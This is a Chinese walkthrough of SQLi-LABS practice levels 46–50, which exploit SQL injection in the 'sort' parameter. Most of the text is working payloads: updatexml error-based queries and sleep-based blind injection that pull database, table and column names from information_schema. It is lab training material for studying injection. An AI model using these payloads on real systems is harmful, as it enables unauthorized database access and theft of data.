SQLi-LABS靶场46-50通过攻略

less-46

1.判断注入点

?sort=1'  页面出现报错

2.判断闭合方式

?sort=1 --+

3.查询数据库

因为页面有报错 所以使用报错注入

?sort=1 and updatexml(1,concat(1,database()),1)--+

4.查询数据库的所有表

?sort=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

5.查询users表的所有字段

?sort=1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

less-47

1.判断注入点

?sort=1' 页面出现报错 说明存在注入

2.判断闭合方式

?sort=1' --+  页面不报错 成功闭合

3.查询数据库名

页面有报错  可以使用报错注入

?sort=1' and updatexml(1,concat(1,database()),1)--+

4.查询数据库的所有表

?sort=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

5.查询users表的所有字段

?sort=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

less-48

1.判断注入点

正常页面?sort=1

错误页面?sort=1'

页面只有两种页面 可以尝试使用布尔盲注或者时间盲注

2.判断闭合方式

?sort=1 --+ 页面显示正常 闭合成功

3.查询数据库名

这里使用时间盲注

?sort=1 and if((ascii(substr(database(),1,1))>114),sleep(3),1)

截取数据库的第一个字符 然后进行ASCII码对比 当第一位字符的ASCII码大于114时 页面有延迟

?sort=1 and if((ascii(substr(database(),1,1))>115),sleep(3),1)

当第一位字符的ASCII码大于115时 页面没有延迟 说明第一位字符的ASCII码=115 也就是s

以此类推 可以得出数据库名为security

4.查询数据库的所有表

?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)

当第一位字符的ASCII码大于100时 页面出现延迟 

?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)

当第一位字符的ASCII码大于101时 页面没有延迟  说明第一位字符的ASCII码=101 也就是e

以此类推 可以得出第一个表为email

5.查询users表的所有字段

sort=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),1,1))=105,sleep(5),1) --+

当users表的第一个字符的ASCII值=105时 页面出现延迟 说明第一个字符的ASCII=105 也就是’i

以此类推 可以得出第一个字段是id

less-49

这一关同样是时间盲注 注入操作跟48关一样 

不同点是闭合方式不同 这一关的闭合方式为?sort=1' --+

less-50

1.判断注入点

?sort=1' 页面出现报错

2.判断闭合方式

?sort=1' --+ 闭合成功

3.使用报错注入

因为页面有报错提示 可以使用报错注入查询 注入操作跟46关一样

  • 14
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值